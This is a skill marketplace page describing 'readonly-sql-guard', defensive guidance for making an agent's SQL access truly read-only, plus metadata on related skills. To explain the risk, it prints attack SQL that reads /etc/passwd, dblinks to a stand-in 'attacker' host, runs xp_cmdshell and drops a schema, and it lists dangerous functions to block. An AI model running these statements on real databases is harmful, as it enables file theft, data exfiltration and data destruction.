[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M70KPYH9QNHCNME5GJQGE22K":3,"skill-same:01M70KPYH9QNHCNME5GJQGE22K":81},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":31,"publishedAt":52,"linkOnly":53,"markdownContent":54,"markdownBody":55,"frontMatter":56,"refName":57,"commitSha":58,"skillDirectory":59,"forksCount":60,"repositoryHtmlUrl":61,"repositoryHomepageUrl":62,"ownerHtmlUrl":63,"ownerBlogUrl":64,"ownerDescription":65,"updatedAt":66,"install":67,"resources":80},"01M70KPYH9QNHCNME5GJQGE22K","readonly-sql-guard",null,"Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production\u002FERP\u002Fanalytics database (a \"query\" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write\u002FDDL\u002Fside-effect\u002Ftransaction-escape risks. Checks what a statement CALLS, not just its shape.","davila7\u002Fclaude-code-templates","davila7","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F6216945?v=4","01M6ADEWWFPS191NFM0Y1EX1JH","Daniel Avila","01M6ADJHGM78PHQRD3XZTFDVKK",33418,"MIT","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdatabase\u002Freadonly-sql-guard\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":27,"categoryName":28,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51],"readonly","readonly sql guard","sql guard","sql","guard","only","when","database","for","calls","read-only","db","query","MCP","use","effect","erp","just","tool","access","2026-11-10 10:12:30",false,"---\nname: readonly-sql-guard\ndescription: Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production\u002FERP\u002Fanalytics database (a \"query\" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write\u002FDDL\u002Fside-effect\u002Ftransaction-escape risks. Checks what a statement CALLS, not just its shape.\n---\nYou are a database-safety specialist. Your job is to ensure that when an AI agent is given the ability to run SQL, \"read-only\" is a property the code enforces — not an adjective in a prompt.\n\n## Use this skill when\n\n- Building or reviewing an MCP server \u002F tool that lets an agent run SQL (a `query` tool, a text-to-SQL endpoint, a BI or admin console that \"only allows SELECT\").\n- Deciding whether a statement supplied by an agent or a user is safe to execute.\n- Auditing existing DB-access code for weak \"read-only\" enforcement.\n\n## The core mistake: shape-only guards\n\nMost \"read-only\" checks inspect a statement's **shape** — \"does it start with `SELECT`?\", \"does it contain the word `DELETE`?\". That is not enough. A perfectly well-formed `SELECT` can still read a file, open a socket, run a shell, escape a read-only transaction, or flip the session:\n\n```sql\nSELECT pg_read_file('\u002Fetc\u002Fpasswd')                            -- reads a server file (Postgres)\nSELECT * FROM dblink('host=attacker','SELECT 1') AS t(x int)  -- opens an outbound socket\nSELECT * FROM orders; EXEC xp_cmdshell 'whoami'               -- SQL Server shell\nCOMMIT; DROP SCHEMA public CASCADE;                           -- escapes a read-only transaction\nSELECT LOAD_FILE('\u002Fetc\u002Fpasswd')                               -- MySQL file read\n```\n\nThese are exactly the failures behind the archived reference Postgres MCP server (a `COMMIT; DROP …` escaping `BEGIN TRANSACTION READ ONLY`) and the Supabase \"lethal trifecta.\" A starts-with-`SELECT` check refuses about 6 of 28 such attacks; a keyword blocklist about 9 (and it *also* blocks a legitimate read whose string literal contains the word \"delete\").\n\n## What to enforce instead (check what it CALLS)\n\nEnforce read-only in layers, and check the statement, not just its first keyword:\n\n1. **Single statement** — reject stacked statements (a `;` outside a string literal).\n2. **`SELECT`\u002F`WITH` head, no comments** — blank string literals first, so `SELECT 'please delete this note'` stays a valid read.\n3. **Parse it, and fail closed** — parse with a real SQL parser (`sqlglot`); if it does not parse in the target dialect, **refuse** it (the input that defeats a parser is often the payload — `OPENROWSET` is exactly what fails to parse). The AST must be a single read query with no `INSERT`\u002F`UPDATE`\u002F`DELETE`\u002FDDL\u002F`EXEC`\u002F`INTO` node (this catches writes hidden inside a CTE).\n4. **Block side-effecting functions by name** — `pg_read_file`, `lo_export`, `dblink`, `query_to_xml`, `set_config`, `xp_cmdshell`, `OPENROWSET`, `LOAD_FILE`, `load_extension`, `pg_sleep`\u002F`BENCHMARK`, … — by AST **and** lexically.\n5. **Strict mode for agent-supplied SQL** — default-deny every function the parser cannot even name.\n6. **And still run under a least-privilege, read-only DB login.** A function denylist is never provably complete; the in-code guard is defence in depth, not a substitute for a `SELECT`-only grant \u002F read replica. The session-level guarantee (a read-only transaction \u002F the login) lives with the connection, not the SQL string.\n\n## Recommended implementation\n\nDon't hand-roll this. Use **[`readonly-sql-guard`](https:\u002F\u002Fgithub.com\u002Fgulmezeren2-byte\u002Freadonly-sql-guard)** (`pip install readonly-sql-guard`) — a dependency-light library (`re` + `sqlglot`) that does exactly the above:\n\n```python\nfrom readonly_sql_guard import assert_read_only, ReadOnlyViolation\n\ntry:\n    assert_read_only(agent_sql, dialect=\"postgres\", strict=True)  # raises before the DB is touched\nexcept ReadOnlyViolation as e:\n    return f\"refused: {e}\"\nrows = cursor.execute(agent_sql)   # now safe to run\n```\n\nIt ships a **28-attack benchmark** (`readonly-sql-guard benchmark`) covering Postgres\u002FMySQL\u002FSQL Server\u002FSQLite, so the guarantee is measured, not asserted. Try any payload in the browser playground: \u003Chttps:\u002F\u002Fgulmezeren2-byte.github.io\u002Ferp-report-engine\u002Fplayground.html>.\n\n## Review checklist\n\nWhen auditing DB-access code, flag it if any of these is true:\n- \"Read-only\" is enforced only by a `startswith(\"SELECT\")` \u002F keyword-blocklist check.\n- Unparseable statements are allowed through (not failed closed).\n- There is no function-level denylist (file\u002Fsocket\u002Fshell\u002Fsession functions can be called).\n- The DB login is not itself read-only \u002F least-privilege.\n- Agent- or user-supplied SQL is run without strict-mode function allowlisting.\n","You are a database-safety specialist. Your job is to ensure that when an AI agent is given the ability to run SQL, \"read-only\" is a property the code enforces — not an adjective in a prompt.\n\n## Use this skill when\n\n- Building or reviewing an MCP server \u002F tool that lets an agent run SQL (a `query` tool, a text-to-SQL endpoint, a BI or admin console that \"only allows SELECT\").\n- Deciding whether a statement supplied by an agent or a user is safe to execute.\n- Auditing existing DB-access code for weak \"read-only\" enforcement.\n\n## The core mistake: shape-only guards\n\nMost \"read-only\" checks inspect a statement's **shape** — \"does it start with `SELECT`?\", \"does it contain the word `DELETE`?\". That is not enough. A perfectly well-formed `SELECT` can still read a file, open a socket, run a shell, escape a read-only transaction, or flip the session:\n\n```sql\nSELECT pg_read_file('\u002Fetc\u002Fpasswd')                            -- reads a server file (Postgres)\nSELECT * FROM dblink('host=attacker','SELECT 1') AS t(x int)  -- opens an outbound socket\nSELECT * FROM orders; EXEC xp_cmdshell 'whoami'               -- SQL Server shell\nCOMMIT; DROP SCHEMA public CASCADE;                           -- escapes a read-only transaction\nSELECT LOAD_FILE('\u002Fetc\u002Fpasswd')                               -- MySQL file read\n```\n\nThese are exactly the failures behind the archived reference Postgres MCP server (a `COMMIT; DROP …` escaping `BEGIN TRANSACTION READ ONLY`) and the Supabase \"lethal trifecta.\" A starts-with-`SELECT` check refuses about 6 of 28 such attacks; a keyword blocklist about 9 (and it *also* blocks a legitimate read whose string literal contains the word \"delete\").\n\n## What to enforce instead (check what it CALLS)\n\nEnforce read-only in layers, and check the statement, not just its first keyword:\n\n1. **Single statement** — reject stacked statements (a `;` outside a string literal).\n2. **`SELECT`\u002F`WITH` head, no comments** — blank string literals first, so `SELECT 'please delete this note'` stays a valid read.\n3. **Parse it, and fail closed** — parse with a real SQL parser (`sqlglot`); if it does not parse in the target dialect, **refuse** it (the input that defeats a parser is often the payload — `OPENROWSET` is exactly what fails to parse). The AST must be a single read query with no `INSERT`\u002F`UPDATE`\u002F`DELETE`\u002FDDL\u002F`EXEC`\u002F`INTO` node (this catches writes hidden inside a CTE).\n4. **Block side-effecting functions by name** — `pg_read_file`, `lo_export`, `dblink`, `query_to_xml`, `set_config`, `xp_cmdshell`, `OPENROWSET`, `LOAD_FILE`, `load_extension`, `pg_sleep`\u002F`BENCHMARK`, … — by AST **and** lexically.\n5. **Strict mode for agent-supplied SQL** — default-deny every function the parser cannot even name.\n6. **And still run under a least-privilege, read-only DB login.** A function denylist is never provably complete; the in-code guard is defence in depth, not a substitute for a `SELECT`-only grant \u002F read replica. The session-level guarantee (a read-only transaction \u002F the login) lives with the connection, not the SQL string.\n\n## Recommended implementation\n\nDon't hand-roll this. Use **[`readonly-sql-guard`](https:\u002F\u002Fgithub.com\u002Fgulmezeren2-byte\u002Freadonly-sql-guard)** (`pip install readonly-sql-guard`) — a dependency-light library (`re` + `sqlglot`) that does exactly the above:\n\n```python\nfrom readonly_sql_guard import assert_read_only, ReadOnlyViolation\n\ntry:\n    assert_read_only(agent_sql, dialect=\"postgres\", strict=True)  # raises before the DB is touched\nexcept ReadOnlyViolation as e:\n    return f\"refused: {e}\"\nrows = cursor.execute(agent_sql)   # now safe to run\n```\n\nIt ships a **28-attack benchmark** (`readonly-sql-guard benchmark`) covering Postgres\u002FMySQL\u002FSQL Server\u002FSQLite, so the guarantee is measured, not asserted. Try any payload in the browser playground: \u003Chttps:\u002F\u002Fgulmezeren2-byte.github.io\u002Ferp-report-engine\u002Fplayground.html>.\n\n## Review checklist\n\nWhen auditing DB-access code, flag it if any of these is true:\n- \"Read-only\" is enforced only by a `startswith(\"SELECT\")` \u002F keyword-blocklist check.\n- Unparseable statements are allowed through (not failed closed).\n- There is no function-level denylist (file\u002Fsocket\u002Fshell\u002Fsession functions can be called).\n- The DB login is not itself read-only \u002F least-privilege.\n- Agent- or user-supplied SQL is run without strict-mode function allowlisting.\n",{"name":5,"description":7},"main","a6e6f93e9a4baaa6ff337aee5505bf5c2bae4ce6","cli-tool\u002Fcomponents\u002Fskills\u002Fdatabase\u002Freadonly-sql-guard",3926,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates","https:\u002F\u002Faitmpl.com","https:\u002F\u002Fgithub.com\u002Fdavila7","https:\u002F\u002Fdanielavila.me","Building AI dev tools with LLMs","2026-11-12 14:45:56",{"source":8,"skillName":5,"commands":68,"prompt":78,"zipAvailable":79},[69,72,75],{"tool":70,"command":71},"npx","npx skills add davila7\u002Fclaude-code-templates --skill readonly-sql-guard",{"tool":73,"command":74},"bunx","bunx skills add davila7\u002Fclaude-code-templates --skill readonly-sql-guard",{"tool":76,"command":77},"pnpm","pnpm dlx skills add davila7\u002Fclaude-code-templates --skill readonly-sql-guard","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdatabase\u002Freadonly-sql-guard\u002FSKILL.md",true,[],[82,107,134,169,193,229],{"skillNo":83,"name":84,"nameZh":6,"description":85,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":86,"categories":87,"keywords":89,"publishedAt":52},"01M70NHBTQ8BV0A2SCAZXEPHCX","wealthville-pool-scoring","Score DeFi liquidity pools before providing liquidity. Returns a 0-100 pool score and an Enter\u002FHold\u002FExit\u002FReduce\u002FAvoid verdict with calibrated confidence for ~68,800 Solana pools and 575 EVM pools, plus a public miss-inclusive track record. Use when asked whether a pool is worth LPing into, which pools look best right now, or how accurate the scores have actually been.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fweb-data\u002Fwealthville-pool-scoring\u002FSKILL.md",[88],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[90,91,92,93,94,40,95,96,46,38,97,98,99,100,101,102,103,104,105,106],"scoring","pool","wealthville pool scoring","liquidity","which","exit","now","reduce","with","record","track","verdict","evm","solana","how","public","look",{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":111,"categories":112,"keywords":114,"publishedAt":52},"01M70MB6VR8ERJ4EM8D5KHBMEV","technical-debt-auditor","Scans a codebase and produces a quantified technical debt report with a prioritized remediation plan. Analyzes dead code, TODO\u002FFIXME\u002FHACK markers, dependency staleness, complexity hotspots, code duplication signals, test coverage gaps, unused exports, and outdated patterns. Use this skill when the user asks to audit their codebase for tech debt, wants a health check of their code quality, says things like \"where should I focus refactoring\", \"find code smells\", \"audit my codebase\", \"what technical debt do we have\", \"prioritize cleanup work\", or asks about code quality metrics. Also trigger when the user mentions \"code rot\", \"legacy cleanup\", \"refactoring priorities\", or wants to understand the overall health of a project before a major effort. Trigger even if the user doesn't say \"technical debt\" explicitly — any request to systematically assess code quality and identify improvement priorities belongs here.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdevelopment\u002Ftechnical-debt-auditor\u002FSKILL.md",[113],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[115,116,117,118,119,120,121,122,123,124,125,38,126,127,128,129,130,131,132,133],"technical debt","debt","technical","technical debt auditor","auditor","coverage","complexity","markers","project","cleanup","unused","code","todo","work","plan","focus","signals","audit","dependency",{"skillNo":135,"name":136,"nameZh":6,"description":137,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":138,"licenseFileUrl":139,"sourceHtmlUrl":140,"categories":141,"keywords":145,"publishedAt":52},"01M6AFY6F7CC2BBZP1QD6VTNVC","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FSKILL.md",[142],{"categoryNo":143,"categoryName":144,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,40,168],"artifacts builder","web","web artifacts builder","artifacts","builder","state","routing","state management","component","css","frontend","ui","Tools","file","components","shadcn","react","Tailwind","suite","jsx","html","single-file","ui components",{"skillNo":170,"name":171,"nameZh":6,"description":172,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":138,"licenseFileUrl":173,"sourceHtmlUrl":174,"categories":175,"keywords":180,"publishedAt":52},"01M6AFWF33SFV9Z3SF4PEEE4BF","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FSKILL.md",[176,179],{"categoryNo":177,"categoryName":178,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":143,"categoryName":144,"taxonomyType":21,"taxonomyTypeDesc":22},[181,182,183,184,185,147,186,156,157,187,188,189,190,40,191,98,192],"webapp testing","testing","webapp","browser","playwright","applications","debugging","toolkit","logs","screenshots","local","behavior",{"skillNo":194,"name":195,"nameZh":6,"description":196,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":138,"licenseFileUrl":197,"sourceHtmlUrl":198,"categories":199,"keywords":207,"publishedAt":52},"01M6AF67Q67JJJ5V51JR2P52KA","discernment-nudge","After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals, or emails, estimates or projections, analysis or interpretation of data, factual claims they may rely on, or a multi-step argument — invoke this skill BEFORE finalizing your reply and then, if it applies, append 2-3 short follow-up questions, each tied to something specific in what you just produced, that help the user check key facts, probe the reasoning or assumptions, and notice missing context. Do this at most once per conversation. Skip it when the user asked a trivial how-to or simple lookup, wants a purely educational explanation, asked you only to format, convert, or assemble a file from content they provided, is writing code they will run, is doing creative writing or casual chat, or already asked you to double-check, cite, or review — the skill file explains these boundaries and the exact output format.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FSKILL.md",[200,203,204],{"categoryNo":201,"categoryName":202,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":205,"categoryName":206,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000036","内容创作者",[208,209,210,211,212,213,214,215,149,216,159,126,217,218,219,220,221,37,222,38,223,224,225,226,227,104,228],"discernment nudge","nudge","interpretation","help","run","reasoning","data","writing","lookup","content","review","conversation","short","up","invoke","you","analysis","claims","argument","assemble","recommendations",{"skillNo":230,"name":231,"nameZh":6,"description":232,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":138,"licenseFileUrl":233,"sourceHtmlUrl":234,"categories":235,"keywords":240,"publishedAt":52},"01M6AF5ANME9NAHVVR7N1F63MP","academy-guide","Stop and check this skill before finishing any reply to a question about how to use Claude or a Claude product — it recommends matching courses, tutorials, and use cases from Claude Academy (academy.claude.com), Anthropic's learning hub. Trigger on: \"how do I\", \"how can I\", \"getting started with\", \"what can Claude do\", \"teach me\", \"learn to use\"; questions about artifacts, projects, skills, plugins, connectors, MCP; requests about rolling Claude out to a team, class, or organization; and any ask for training materials, onboarding content, or learning resources. Use it when the user is learning how to use a feature or product — not when they are mid-task and just want the task done. This skill composes with other skills: after consulting product documentation to answer how a Claude feature works, also check here for a matching course or tutorial — a docs-grounded answer and an Academy recommendation belong together. Only recommend on a strong match; never invent Academy content.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Facademy-guide\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Facademy-guide\u002FSKILL.md",[236,237],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":238,"categoryName":239,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000039","教师与教育",[241,242,243,244,245,246,45,247,248,149,217,249,250,251,252,253,254,255,256,257,37,258,259,38,260,261,262,263],"academy guide","guide","documentation","product","training","plugins","docs","learn","onboarding","connectors","teach","getting started","projects","resources","never","onboarding content","how to","question","task done","done","ask","team","me"]